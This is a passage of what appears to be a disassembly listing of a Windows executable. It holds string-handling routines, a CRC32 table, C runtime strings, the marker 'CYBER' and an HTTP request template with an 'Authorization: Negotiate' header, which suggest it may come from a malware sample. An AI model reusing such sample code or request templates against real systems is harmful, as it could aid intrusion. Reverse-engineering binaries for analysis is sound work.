		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2840000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2840000h
		nop
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2840000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F05F7h, 2600000h, 2600A2Fh
		dd 2600A73h, 2600F29h, 2610000h, 2620000h, 2620905h, 2630000h
		dd 263023Eh, 2630AD1h, 2630C9Bh
dword_42703C	dd 2630CC2h		; DATA XREF: ___:004231D9r
		dd 2640000h, 264030Fh, 264036Bh, 2640459h, 2650000h, 2660000h
		dd 2670000h, 267039Dh, 267084Bh, 77E75CB5h
dword_427068	dd 2670858h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670C08h, 2680000h, 2690000h
dword_427078	dd 26903FCh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2690448h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26906ADh
dword_427084	dd 26907A1h		; DATA XREF: sub_4196BC+B9r
		dd 2690DADh
dword_42708C	dd 2690DCCh		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 26A0000h		; DATA XREF: ___:loc_4013DCr
		dd 26A0305h, 26A047Ah
dword_42709C	dd 26A0574h		; DATA XREF: sub_409B12+2r
		dd 26A060Ah, 26A06D3h
dword_4270A8	dd 26A0B9Fh		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 26A0C3Ch		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26B0000h, 26B0B50h
dword_4270B8	dd 26B0BEDh		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26C0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26D0000h, 26E0000h, 26E05B4h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F0630h, 26F0760h, 2700000h, 2700923h
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 271092Ch		; DATA XREF: sub_418293+36r
		dd 2710BD7h, 2720000h
dword_4270F8	dd 2720517h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2740000h, 2750000h, 2750AD6h, 2760000h, 2760855h, 2770000h
		dd 2780000h, 2790000h, 2790B29h, 2790E39h, 27A0000h, 27A0138h
		dd 27A0B19h, 27B0000h, 27B04A2h
dword_42713C	dd 27B07ACh		; DATA XREF: sub_416F1A+BCr
		dd 27C0000h
dword_427144	dd 27D0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27D09EAh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27D0A99h
dword_427150	dd 27E0000h		; DATA XREF: sub_417275+56r
		dd 27E0332h, 27F0000h, 2800000h, 2800654h, 2810000h, 2810377h
		dd 2810524h, 2820000h, 282073Dh, 2830000h
dword_42717C	dd 2840000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2850000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2860000h, 28603F6h, 28608C2h, 2870000h, 2880000h, 2890000h
		dd 2892210h, 28A0000h, 28B0000h, 28C0000h, 28C1C28h, 28C1C5Ch
		dd 28D0000h, 28E0000h, 28E013Fh
dword_4271C0	dd 28E084Eh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28E0A43h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28F0000h, 28F049Bh, 28F0BD5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
